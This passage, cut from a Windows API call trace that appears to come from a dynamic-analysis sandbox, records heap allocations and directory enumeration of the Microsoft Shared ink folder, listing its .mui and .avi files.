0xf9dc78 [0047.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90990 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8f9f0 [0047.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.977] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf909b0 [0047.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8faf8 [0047.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x380) returned 0xf91158 [0047.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf873d8) returned 1 [0047.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.978] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0047.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf909d0 [0047.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8fc00 [0047.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.978] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0047.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf909f0 [0047.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8fd08 [0047.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.978] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0047.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90a10 [0047.978] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8fe10 [0047.978] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.978] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90a30 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ff18 [0047.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.979] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90a50 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf90020 [0047.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.979] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90a70 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf90128 [0047.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.979] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.979] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90a90 [0047.979] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf90230 [0047.980] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.980] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.980] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.980] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90ab0 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf90338 [0047.980] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.980] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.980] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.980] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90ad0 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf90440 [0047.980] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.980] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.980] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.980] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90af0 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf90548 [0047.980] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.980] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.980] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.980] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.980] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90b10 [0047.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf90650 [0047.981] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0047.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.981] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.981] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90b30 [0047.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf90758 [0047.981] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.981] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.981] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90b50 [0047.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf914f8 [0047.981] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0047.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.981] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.981] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90b70 [0047.981] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf91600 [0047.981] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0047.981] GetLastError () returned 0x12 [0047.981] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0047.982] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0047.982] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, 